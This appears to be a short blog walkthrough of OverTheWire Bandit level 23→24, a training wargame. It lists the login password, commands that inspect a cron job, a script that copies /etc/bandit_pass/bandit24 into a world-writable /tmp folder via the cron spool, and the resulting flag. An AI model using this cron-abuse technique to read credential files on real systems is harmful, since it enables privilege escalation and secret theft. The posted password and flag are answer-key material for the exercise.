Bandit - level23 → level24

2021. 5. 30. 21:08WarGame/Bandit

level23 → level24

  • ssh bandit23@bandit.labs.overthewire.org -p 2220
  • pw : jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n
  • cat /etc/cron.d/cronjob_bandit24
  • cat /usr/bin/cronjob_bandit24.sh
  • mkdir /tmp/m0nd2y1
  • cd /tmp/m0nd2y1
  • vi script.sh
  • #!/bin/sh
  • cat /etc/bandit_pass/bandit24 > /tmp/m0nd2y1/flag
  • chmod 777 script.sh
  • chmod 777 /tmp/m0nd2y1
  • cp script.sh /var/spool/bandit24/

 

FLAG : UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

'WarGame > Bandit' 카테고리의 다른 글

Bandit - level25 → level26  (0) 2021.06.08
Bandit - level24 → level25  (0) 2021.06.07
Bandit - level22 → level23  (0) 2021.05.28
Bandit - level21 → level22  (0) 2021.05.27
Bandit - level20 → level21  (0) 2021.05.26